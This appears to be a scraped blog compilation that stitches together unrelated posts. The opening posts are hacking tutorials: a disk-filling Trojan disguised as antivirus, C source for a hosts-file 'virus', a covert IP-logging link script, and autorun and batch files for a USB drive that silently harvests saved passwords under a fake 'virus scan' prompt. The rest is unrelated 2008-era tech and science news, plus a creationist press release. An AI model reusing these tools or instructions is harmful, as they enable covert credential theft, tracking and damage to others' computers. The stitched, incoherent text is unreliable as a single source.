Web Globe

Do you suspect that your email account is under attack? Do you want to maintain total security of your email account and make it 100% hack proof? Well, Some times our email account might have got hacked and we may not be aware of that. We may believe that our email account is safe, but in reality our private and confidential information may be falling into the hands of a third person.

Here are some signs of unauthorized activity on an email account.

1. Your new emails are marked as Read even if you’ve not read them.

2. Your emails are moved to Trash or even permanently deleted without your notice.

3. Your emails are being forwarded to a third party email address (check your settings->forwarding).

4. Your secondary email address is changed.

If you come across any of the above activities on your email account, then it is a clear indication that your email account is hacked.

Additional Security Features in Gmail to ensure the Safety of your Account

Gmail provides an additional security feature to protect your email account through the means of IP address logging. That is, Gmail records your IP address every time you login to your Gmail account. So, if a third party gets access to your account then even his/her IP is also recorded. To see a list of recorded IP address, scroll down to the bottom of your Gmail account and you’ll see something like this.

You can see from the above figure that Gmail shows the IP address of last login (last account activity). You can click on Details to see the IP address of your last 5 activities. If you find that the IP listed in the logs doesn’t belong to you, then you can suspect unauthorized activity.

Steps to be carried out to stop unauthorized activity on your email account

If you feel/suspect that your account is hacked then you must immediately take the actions mentioned below

1. Change your Password

2. Change your security question.

2. Remove any third party email address (if any) to which your account is set to forward emails.

3. Make sure that you can access the email account of your secondary email address.

4. Also change you secondary email password and security question.

This ensures that your account is safe from future attacks. But I strongly recommend that you read the following post to protect your email account from being hacked.

Klik HERE to Download

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The Trojan is available for download along with the source code at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.

Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the WindowsSystem32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Trojan is as follows

1. Search for the root drive

2. Navigate to WindowsSystem32 on the root drive

3. Create the file named “spceshot.dll”

4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full

5. Once the drive is full, stop the process.

You can download the Trojan along with it’s source code HERE.
How to compile, test and remove the damage?

Compilation:

You can use Borland C++ compiler (or equivalent) to compile the Trojan.

Testing:

To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

I have created a PHP script to make it easier for you to find the IP address of the remote computer of your choice. Here is a step-by-step process to find out the IP address.

1. Download the IP Finder script (IP_Finder.ZIP) that I have created.

2. Open a new account in X10Hosting (or any free host that supports PHP).

3. Extract the IP_Finder.ZIP file and upload the two files ip.php and ip_log.txt into the root folder of your hosting account using the File Manager.

4. You can rename the ip.php to any name of your choice.

5. Set the permission to 777 on ip_log.txt.

Now you are all set to find the IP address of your friend or any remote computer of your choice. All you have to do is send the link of ip.php to your friend or the person with whom you’re chatting. Once the person click’s on the link, his/her IP address is recorded in the file ip_log.txt.

For your better understanding let’s take up the following example.

Suppose you open a new account in X10hosting.com with the subdomain as abc, then your IP Finder link would be

http://abc.x10hosting.com/ip.php

You have to send the above link to you friend via email or while chatting and ask him to visit that link. Once your friend clicks on the link, his IP address will be recorded along with the Date and Time in the ip_log.txt file. After recording the IP address, the script will redirect the person to google.com so as to avoid any suspicion.

To find the recorded IP address check the logs using the following link.

http://abc.x10hosting.com/ip_log.php

The sample log will be in the following format

79.92.144.237 Thursday 07th of May 2009 05:31:27 PM
59.45.144.237 Thursday 07th of May 2009 05:31:28 PM
123.92.144.237 Thursday 07th of May 2009 05:31:31 PM

note: abc is a subdomain name, you can change it

Here is the sourcecode of the virus.

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1?;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

1. Compile the sourcecode using any C/C++ compiler.

2. To test, run the compiled module. It will block the sites that is listed in the source code.

3. Once you run the file block_Site.exe , restart your browser program.Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

4. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

5. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com

6. Delete all such entries which contain the names of blocked sites.

Download this first :

http://dhani-web.com/download/iepv.zip

http://dhani-web.com/download/mailpv.zip

http://dhani-web.com/download/mspass.zip

http://dhani-web.com/download/passwordfox.zip

http://dhani-web.com/download/pspv.zip

Step:

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

A couple of months ago, I downloaded a beta version of Firefox 3 just to look at the new ideas Mozilla was working on. My intention was to try it for a couple days, then switch back to Firefox 2. I wasn't worried about stability (it's a browser after all -- what's the worst that can happen?). But the beta wasn't compatible with lots of my favorite extensions and who wants to live without them?
As it turns out, I'm still using a prerelease version of Firefox (they're at Release Candidate 1 now) and loving it, even without my beloved add-ons. The improvements Mozilla has made to the browser, while subtle, are so helpful that I didn't want to give them up. Here are five of my favorites.
1. Much Better Performance

If you've used previous versions of Firefox you've likely had this experience, perhaps frequently: you're working away, but gradually become aware that something is horribly wrong with your PC. It's sluggish and apps take forever to load. You open up Task Manager and find that Firefox is chewing up 95 percent of your CPU cycles. Once you kill the browser and start over, you're running fine again.
I can't remember the last time I've had that experience with the Firefox 3 betas. Mozilla developers borrowed some memory management tricks from the Free BSD operating system for the Windows and Linux versions of Firefox. (They say memory management on Macs already worked pretty well.) The effect is clear. The browser is much less likely to commandeer too many system resources. And Firefox's developers worked to make sure that add-ons, notorious memory thieves, don't cause problems either. They've rolled in cycle collectors that help prevent extensions from locking up RAM and not giving it back. They're also distributing tools to third-party developers that will help them build more abstemious add-ons.
2. The "Awesome Bar"

Okay, so the official name is the Location Bar, the field where you enter URLs you want to visit. But beta testers have nicknamed it the Awesome Bar and it is, well, pretty awesome. Enter text in the Location Bar and a dropdown list appears of pages from your browsing history that include that text, not just in the URL, but in the page title or the page's tag (see #4 below). The list even includes Gmail messages that include that word in the subject line. If you've already visited a Web page, there's a good chance it's useful to you. The Location Bar lets you very quickly search that useful subset of the Web.

Apple has revised the way it sends software updates to Windows PCs via its Software Update service in response to charges that it was sneaking its Safari Web browser onto users' desktops without their permission or knowledge.

The latest version of the Software Update tool for Windows, version 2.1.0.110, now clearly lists software that can be downloaded via the service and groups the updates into those for applications already on the user's computer and updates for new software.

The new version of Software Update also gives users the ability to turn off the service.

In modifying Software Update, Apple was clearly responding to widespread criticism that the service downloaded Safari 3.1 onto users' systems surreptitiously.

The company included the browser as a stealth update for users of the Microsoft (NSDQ: MSFT) Windows versions of its iTunes and QuickTime software. Mozilla CEO John Lilly likened the strategy to tactics used by hackers to insert malicious code into downloads.

"Apple has made it incredibly easy -- the default, even -- for users to install ride along software that they didn't ask for, and maybe didn't want," said Lilly, in a recent blog post. "This is wrong, and borders on malware distribution practices."

Safari competes with Mozilla's Firefox product in the Web browser market.

Safari 3.1 has been hit with other problems since it launched in March.

Researchers at software security firm Secunia last month reported finding two "highly critical" vulnerabilities in the browser.

In one instance, files with long names downloaded via the browser "can be exploited to cause memory corruption," according to Secunia. That could result in the host computer becoming vulnerable to arbitrary code execution -- a situation where intruders can remotely execute commands on the targeted machine.

The other vulnerability lets hackers display their own content in pages loaded into Safari 3.1 without changing what's displayed in the browser's URL address bar.

There's also been reports that Safari 3.1 tends to crash on computers running Windows XP .

Microsoft said Friday that it was going to start testing a subscription service that combines its OneCare anti-virus package, the home version of its Office suite, and some other features in one package, called Albany, to be sold by subscription.

Microsoft already sells OneCare in the form of annual subscriptions, but it represents the first time it will sell Office that way.

This seems like a useful experiment, but dreadfully late. And I’m not sure it confronts the major questions of value in the marketplace. Consumers are used to getting so much free these days that I wonder what they will be willing to pay for.

Microsoft won’t answer the biggest question about the bundle: how much it will cost? So let’s think about the options.

Right now OneCare has a list price of $50 a year, and Microsoft Office Home and Student lists for $150 in the version you can use forever. (Amazon is currently selling a one-year OneCare subscription for $30 and the home Office version for $120.)

The Microsoft news release also says that Albany also includes Microsoft Live Mail, Messenger and Photo Gallery, services that are already free. (Am I the only one who gets annoyed when companies breathlessly tell me they are giving me something that they had already been giving me? It’s almost as annoying as a company offering a service, but not saying how much it will cost.)

In any case, how much would this package be worth? Assume that Microsoft upgrades Office every three years. So for people who wanted the most up-to-date version, the list price of $150 for the home edition of Office would come to $50 a year. So the combination of Office and OneCare, at $50 a year, assuming you wanted it, would bring the price to $100 a year, list, or $80 a year, based on the Amazon discounts.

Since typically you pay more for things on a month-to-month basis than if you pay all at once, that might imply a fair price of $10 or $12 a month for the Microsoft bundle. Microsoft could try to throw in some other features and raise the monthly price to $15, but I suspect that won’t work. The “Ultimate extras” that are bundled with Windows Vista Ultimate, for example, have underwhelmed even the biggest Microsoft fans.

On the other hand, Microsoft could get aggressive and charge say, $80 or $90 for a one-year subscription ($6.66 or $7.50 a month). I suspect that would be a smart move. Over the next few years, Microsoft has to be prepared for the potential that Google’s free Web-based applications will be very competitive in the home market. So getting customers used to the idea of paying something, but not much, for Microsoft software may wise.

More interesting, of course, would be if Microsoft found a way to offer a version free with advertising. That wouldn’t be for everyone, but it is a fine option. One hint that Microsoft is thinking in that direction is the fact the Albany package will include a “Microsoft Office toolbar, so users can save documents to their own dedicated online workspace and invite friends and classmates to collaborate and share.” Whatever features they may promote, toolbars are really about one thing: Getting users to use a certain search service.

If Microsoft can get people who take its bundle to switch from Google to Live search, it may well be worth giving away the home version of Office.

Well, several bloggers and webmasters are reporting to have observed a Pagerank update on their blog/website. This is probably another one of those official Google Pagerank updates that takes place usually after every 3-4 months. Most bloggers seem to be happy with the new Pagerank update and apparently it looks like Google is no more interested in cutting down the Pagerank of blogs that sell paid links.

Since Google started penalizing publishers and advertisers for manipulating their technology, Google Pagerank seems to have lost its importance as a vital topic of discussion and interest.

Now most bloggers and webmasters don’t really seem to care about Pagerank and discussions about Google Pagerank are nowhere to be seen anymore. However this does not mean that Google Pagerank has no importance at all. It is still used by Google as a tool to mark the popularity of your blog and give you a search engine ranking position (SERP) accordingly.


Tips to Increase your Google Pagerank

• Here are some random short-tips to help your increase your blog/website Pagerank


• Build a lot of backlinks


• Use very less outbound links on your posts/web pages


• Use the rel=”nofollow” tag with every outbound link


• Have a W3C Markup validated code

Currently I have taken some strict measures to keep my blog high on Google SERPs and it is paying quite well so far. I have not seen any increase in the Google Pagerank and it is still at 5 but as long as I am high on Google SERPs, the Google Pagerank is not such a big thing to worry about.

i know most people have problems like "my firefox is too slow".

wel this is a way too boost you firefox speed, so you can enjoy the internet.


it's called Fasterfox and it allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.

Dynamic speed increases can be obtained with the unique prefetching mechanism, which recycles idle bandwidth by silently loading and caching all of the links on the page you are browsing.


it makes the loading time much faster so you can have more tabs open etc.

so here we go..


Step 1: Open your Firefox browser.


Step 2: Go to http://addons.mozilla.org/en-US/firefox/addon/1269

Step 3: Click Install Now and finish installation.


Step 4: What you have installed is called Fasterfox, it will improve loading times and comes with lots of other nifty features. Try it..!!

Macgamestore and Gogii Games have announced the release of The Hidden Object Show, a new visual puzzle game. It costs US$19.95 and a demo is available for download.

The Hidden Object Show is set up like a game show, on the set of an abandoned movie studio. You're tasked with finding a list of items in each scene. You can win virtual prizes and virtual money as you play through 11 different game modes. The game comprises 330 object-finding rounds, 30 different scenes, and includes 30 unique prizes to collect.

System requirements all for Mac OS X v10.3.9 or later.

Apple's Safari, Mozilla's Firefox 3, and Microsoft's Internet Explorer 8 duke it out to be the program you use most on your PC.

Back when the earliest programs for viewing Web content simply browsed flat pages of images and text, the name browser truly fit the software.

But yesterday's amateur pages have evolved into dynamic, content-rich portals and powerful online programs. For many online habitués, the do-it-all browser has become a PC's single most important program.

Recognizing that fact, Apple's Safari, Microsoft's Internet Explorer, and Mozilla's Firefox are battling to win the nod as your browser of choice. So which one should you use--Safari 3.1, Firefox 3, or Internet Explorer 8?

Apple's latest offering, Safari 3.1, preserves the company's signature focus on clean design and smooth usability, but it lacks any phishing or malware filters.

For its part, Mozilla should have applied the finishing touches to Firefox 3 by the time you read this (I tested the feature-complete beta 5 release). From under-the-hood memory improvements to a major reworking for bookmarks, version 3 represents a big step forward.

Whereas the new Firefox and Safari browsers are ready to roll, Microsoft's early beta of Internet Explorer 8 remains a work in progress. Bugs and rough edges are to be expected in a first beta intended for developers and testers. But IE 8 beta 1 provides a glimpse of new features such as WebSlices (which let sites create widgety snippets of information that you can view by clicking a bookmark button) and Activities (which add right-click menu options for looking up selected text and pages on map, translation and other sites) that will distinguish the browser Microsoft eventually releases.

Firefox, IE, and Safari are the three most popular browsers, according to Internet usage statistics, but they aren't the only ones available. So I also took a separate look at two worthwhile, free programs--Flock and Opera.

Workloads running on Linux servers are shifting to become more business oriented, including databases and line-of-business applications, and the operating system appears headed for measurable growth over the next three years, according to a white paper released Tuesday by IDC.

The report entitled "The Role of Linux Servers and Commercial Workloads" was sponsored by the Linux Foundation, which opened its second annual summit Tuesday. The nonprofit Linux Foundation is a consortium of open source developers and companies.

The IDC paper found that total Linux spending -- including customer acquisitions of hardware, software and related services -- totaled US$21 billion in 2007 and is expected to grow past $50 billion in 2011.

IDC says the jump will be fueled by the continued growth of the installed base of Linux server operating systems into enterprise deployments.

"The data is not stunning to me," says Al Gillen, an analyst with IDC who co-authored the white paper. "I have been watching it evolve over the past several years. The biggest story is that the ecosystem is now real."

He says Linux spending surpassing the $20 billion mark is an important milestone. "But this does not put Microsoft on the ropes from a revenue perspective."

Gillen points out that the Linux business model differs substantially from the one that Microsoft has constructed. "So Linux is unlikely to ever get to the size of total revenue that the Microsoft market enjoys," he says.

Regardless, Linux is enjoying growth.

IDC's forecast for Linux server operating environments calls for 8.2% of compound annual growth from 2007 to 2012 for both new paid subscriptions and non-paid deployments.

IDC says the growth will be driven by paid subscriptions of commercial Linux distributions that are deployed on physical servers, virtual servers and other hardware types including redeployed server hardware and PCs and workstations that are used as servers.

But the future is not without potential roadblocks.

The white paper points out that Linux could face challenges from OpenSolaris if that alternative open source operating system begins to find favor on x86 platforms. In addition, the market dominating position of Windows also presents a challenge to long-term Linux success, especially as Microsoft competes to win Unix migrations.

But the changing nature of Linux deployments should give the open-source operating system a new avenue to seek prosperity.

The IDC study found that in addition to traditional infrastructure workloads handled by Linux server operating systems, such as DNS, DHCP and Web serving, that deployments for such applications as ERP and CRM are beginning to take hold.

For example, Novell and SAP extended a partnership in March that will have Novell supplying Linux-based platform, virtualization and identity support to SAP's small and mid-sized customers.

IDC found that Linux servers deployed for business and commercially oriented workloads, including business processing and decision support, will grow from 2001 through 2011 from 9% to 17.7%.

The IDC white paper showed that business processing deployments grew from 6.7% of Linux server operating system deployments in 2003 to 8.2% in 2007. Decision support workloads were up from 7.3% to 9.1% over the same time period.

IDC found that spending on software related to Linux server platforms is on a compounded annual grow rate of 35.7% from 2006 to 2011.

The IDC paper showed that software on the Linux platform holds about 4% of the current overall market, which represents $10 billion of a $242 billion total. The Linux share is expected to grow to more than 9% by 2011, which will represent $31 billion in software revenue in a $330 billion market.

The Linux Foundation Summit, which is an invite-only meeting, runs through Thursday with an agenda that focuses discussion around on-going development areas including desktop architecture, printing, virtualization, mobile/embedded, power management, the Linux Standards Base OS and legal issues.

You may be intrigued by the idea of switching to Linux. But how will you get your job done without your favorite Windows programs? These 18 great open-source apps make life with Linux easier.

For many users, getting started with Linux is surprisingly easy. New, friendlier versions of the free operating system, such as Fedora and Ubuntu, feature straightforward menus and automated installations that make switching from Windows to Linux a relatively simple process.

But a lot of people who try Linux dump it and switch back to Windows the instant they want to get some work done, mostly because they don't know which Linux programs to use in lieu of their old Windows standbys. Fortunately, such confusion need last only a moment.

Linux offers equivalents to many Windows applications that are often as good as--or even better than--the programs you're used to. In some cases the apps are also available in Windows and Mac OS versions, allowing dual-booters to stay with the same set of free programs regardless of the operating system in use.

For your convenience, we've provided download links to as many of these applications as possible. The majority of them, however, come preinstalled in the most popular Linux distributions, or are available through online software installers such as Fedora's YUM or Ubuntu's Synaptic Package Manager. Installing new software through your Linux distribution's package management system is generally better than installing programs manually, so check your OS's software repositories before downloading any of the apps from our links.

The process to restore the far-ultraviolet detector on the Galaxy Evolution Explorer has been successfully completed, and the instrument resumed full, normal operations on December 17.

The detector experienced an overcurrent condition on Nov. 17, and was shut off by the instrument's on-board fault protection.

Project team members concluded the far-ultraviolet detector exhibited a "slow" overcurrent condition, like that which occurred in early 2006. The cause was a short within the detector's microchannel plate stack. The project used the same recovery technique established in the 2006 recovery. This involved "hi-potting," or cycling the detector on and off at progressively higher voltage.

The onboard near-ultraviolet detector has continued to operate normally.

The awe-inspiring sight of a sky full of stars can render us speechless—and understandably so. Two very different entities are involved, and they're both rather mysterious.

At one extreme stands the individual observer, peering through a telescope or simply staring up at the stars. To ask who is doing the observing is to raise one of the oldest questions of philosophy. "Know yourself," said Socrates, although he made the mistake of assuming that one had to accomplish this before trying to learn about the rest of the universe. (Rejecting a scientific account of the winds, Socrates said, "I can't as yet 'know myself' ... and so long as that ignorance remains it seems to me ridiculous to inquire into extraneous matters.") Actually, we humans have since learned more about ourselves by studying the wider world—by investigating the processes that created life and shaped its evolution—than we ever did through introspection, and we see those processes written large in the depths of the sky.

At the other extreme stands the wider universe itself, unimaginably vast and yet, as Einstein said, "at least partially accessible to our inspection and thinking." Notoriously indifferent to the human condition, the universe is also curiously involving. We feel that we belong to it, or in it—that the blades of grass underfoot are as much a part of the universe as the blazing stars seen through the eyepiece. We may love this sensation, but as it says in the film, "it can be hard to put love into words." So this is a film in which stargazers try to describe an ineffable experience, and invite viewers to share their wordless awe.

To convey a sense of that experience, we departed from the conventions of science filmmaking in several ways. The first step was to do away with a conventional "presenter." I seldom talk to the camera in this film, since when you go out to look through a telescope you may appreciate a guide's whispering into your ear but you don't want him standing between you and the stars while he gives you a lecture. Our production team also devoted a lot of effort to depicting the stargazing experience in ways that closely replicate the real thing: Our aim was not just to inform our viewers (although we hope we've done that) but to incite them to get outside at night and have a look for themselves. After all, the point of stargazing is not just to see things as other have seen them, but to have an original and memorable experience all your own—even if you cannot describe it all.

The grandeur of nature on the cosmic scale tends to beggar familiar concepts nurtured here on Earth, and Seeing in the Dark is ultimately a meditation, as the final line of the voice-over narration puts it, on "time, music, and the stars."

Time inevitably figures in stargazing, since everything we see in the night sky belongs to the past. This relationship is embodied in the "light year," a standard cosmic yardstick defined as the distance light, moving through the vacuum of space at 186,000 miles per second, travels in one year—nearly six trillion miles. We see the Moon as it was 1.3 seconds ago, bright stars as they were decades to centuries ago, and galaxies as they were millions of years ago. To confront light older than the human species and even the Earth may be disconcerting at first—big time, like big space, making the us feel inconsequential by comparison—but in the end it can be oddly reassuring to consider the fleeting span of human life in a cosmic context. We may be only actors strutting on a stage, but the stage is big and the play has been going on for a very long time.

Seeing in the Dark is structured on three contrasting scales of time. On one level, the entire film takes place in the course of a single night at Rocky Hill Observatory, starting just before sunset and ending just after dawn. On a second level, it outlines my own experiences with stargazing, starting at age twelve and lingering on the days when I was around seventeen years old and was observing with fellow members of our rather grandly named Key Biscayne Astronomical Association. My son, Patrick, plays me at that age, then returns as himself at the close of the film, in a dialog that suggests how the accumulation of scientific knowledge can overcome the limitations of human mortality by passing knowledge down through the generations. This dynamic is reprised in the film's other two historical recreations, showing Edward Emerson Barnard and William Herschel in the nineteenth and eighteenth centuries respectively, each of whom got into stargazing as teenagers and went on to make discoveries that continue to inform us today. On a third level the film moves out in space and back in time, starting with nearby planets and then enlarging its frame of reference to take in our galaxy and, finally, the Andromeda galaxy, more than two million light years away—a time frame that encompasses the entire career of the human species.

Music, like cinema, is an art form intimately bound up with the passage of time: A still photo may do justice to a painting or a poem, but you cannot "freeze" a movie or a piece of music and get much out of it. Astronomers have long associated music with the sky—from Pythagoras, who in the sixth century BC suggested that an underlying harmony, a "music of the spheres," defined the motions of the planets, to recent work on the internal dynamics of the Sun that liken it to a gigantic gong. Seeing in the Dark features two musicians turned amateur astronomer—William Herschel in the eighteenth century and Michael Koppelman today. It also touches on my own involvement in music, which resulted among other things in my producing the gold record carried aboard the twin Voyager space probes. (The Voyagers are now approaching the edge of the solar system, thereafter to wander forever among the stars.) The blues music that meant so much to me as a young man was a kind of time capsule, and the ability of music to answer to the beauty of the night sky in ways that may transcend the scope of words is evinced in the original musical score created for the film by Mark Knopfler and Guy Fletcher.

The stars appeal to the eye in ways never before rendered so accurately in a film. Their colors (which result from their temperatures), their twinkling (produced by Earth's atmosphere), and the imposing appearance of thousands of stars arrayed across great swathes of the night sky cannot be captured by any existing motion-picture camera, so we drew on a wide range of art and modern technology to bring the stars to life on the screen. For naked-eye skies we started with the still photographs of Akira Fujii, regarded as the world's foremost wide-angle astrophotographer, then "twinkled" their brighter stars by applying pseudorandom algorithms developed at the digital-processing houses Form in Los Angeles and Video Arts in San Francisco and by our special effects artist, Don Davis. (The digital post-processing wizards started with theoretical models, while Don simply made de-focused video images of Sirius, the brightest star in the sky, then reverse-engineered its twinkles to apply them to the stars in the photos.) Telescopic views of brighter objects such as the Moon and the planets were shot with an HD camera through a large backyard telescope by the astrophotographers Kenneth Crawford and Michael A. Mayda. Dimmer telescopic objects, from star clusters and nebulae to galaxies, were rendered by taking thousands of stills which were then run as frames of motion-picture footage—thirty frames per second of on-air time—or by "twinkling" still images. Here the key contributors were Jack Newton, Mike Palermiti, and our cinematographer, Francis Kenny, who also post-processed the timelapse footage of stars rising over Rocky Hill Observatory that opens the film's final scenes.

Several zoom shots seen in the film would not have been possible a decade ago. The long "pull" on the Cone nebula seen over the Einstein quotation in the Cape Florida beach sequence exploited the high resolution of Rob Gendler's painstakingly assembled wide-sky photomosaic of the Milky Way in the constellation Monoceros. Our long "push" into the Orion nebula begins with a timelapse photo of the entire constellation, shot on a digital camera piggybacked on the 18-inch Newtonian telescope at Rocky Hill, then dissolves into a Rob Gendler mosaic and then into a Don Davis effect in which we fly through the center of the nebula itself. Don's special effects—hovering over the rings of Saturn, moving out among the stars to spot extrasolar planets, witnessing the explosion of a star eleven billion years ago, and flying over the entire Andromeda galaxy—capture something of the "being there" sensation familiar to seasoned stargazers whose knowledge of astronomical objects lets them get the most out of their hours at the telescope in much the same way that a baseball game looks much deeper and more involving to a knowledgeable fan than to a novice.

Stargazing has been a fascination of mine for a half century. (As it happened we started principle cinematography on the film exactly fifty years after I acquired my first telescope.) To do justice to such a beautiful subject, at once personal and universal, I assembled a dream team of creative collaborators. Among them were cinematographer Francis Kenny, who combined his years of feature-film shooting with his extensive experience in high-definition video to explore new visual territories; our editor, Lisa Day, who made the film dance; our cheerful and resourceful director, Nigel Ashcroft, who brought the script to life on location; the sound designer, Kate Hopkins, whose grounding in natural-history filmmaking did so much to draw earth and sky together; and the sound mixer, Walter Murch, a three-time Academy Award winner who threw himself into the project as if it were his first. In all, more than a hundred people worked on Seeing in the Dark. If you like it, they deserve the credit. If not, I'm the one to blame.

Seattle – A “Briefing Packet for Educators” just issued by PBS in conjunction with the NOVA program Judgment Day: Intelligent Design on Trial inserts religion into the classroom and encourages teaching practices that are likely unconstitutional, says Discovery Institute.

“The NOVA/PBS teaching guide encourages the injection of religion into classroom teaching about evolution in a way that likely would violate current Supreme Court precedents about the First Amendment’s Establishment Clause,” says Dr. John West, vice president for public policy and legal affairs with Discovery Institute.

Discovery Institute has published its own guide, The Theory of Intelligent Design: A briefing packet for educators to help them understand the debate between Darwinian evolution and intelligent design. Click here to download a PDF.

The teaching guide is a companion piece to the NOVA docudrama about the 2005 Dover intelligent design trial and claims to provide for teachers “easily digestible information to guide and support you in facing challenges to evolution.” The guide instructs teachers to introduce religion into science classes with discussion questions like “Can you accept evolution and still believe in religion? A: Yes. The common view that evolution is inherently antireligious is simply false.”

“This statement oversimplifies the issue and encourages teachers to prefer certain religious viewpoints in the classroom, betraying Supreme Court law concerning religious neutrality,” says attorney Casey Luskin, program officer for public policy and legal affairs at Discovery Institute.

“The Supreme Court ruled in Epperson v. Arkansas that the government must maintain ‘neutrality between religion and religion’," says Randal Wenger, a Pennsylvania attorney who filed amicus briefs in the Kitzmiller v. Dover case. "Because the Briefing Packet only promotes religious viewpoints that are friendly towards evolution, this is not neutral, and PBS is encouraging teachers to violate the First Amendment's Establishment Clause.”

Discovery Institute has enlisted over a dozen attorneys and legal scholars, including Wenger, to review the PBS teaching guide with an eye to its constitutionality.

“The PBS materials, in suggesting that students need not be concerned that evolution violates their religion, ironically equip public school teachers to violate our current conception of the First Amendment by explicitly teaching students concerning matters of religious belief,” adds Wenger. “The irony is that discussing intelligent design would not teach any student about any religious belief—the PBS materials, on the other hand, will.”

The teaching guide also presents false information about the theory of intelligent design.

“The teaching also guide is riddled with factual errors that misrepresent both the standard definition of intelligent design and the beliefs of those scientists and scholars who support the theory,” adds Luskin.

“PBS gives a false definition of intelligent design that is a complete straw man argument,” explains Luskin. “Scientists who support intelligent design seek evidence of design in nature, and argue that such evidence points to intelligent design, based on our historical knowledge of cause and effect. So, intelligent design theory is not an argument based on what we don’t know, but rather an argument about what we do know.”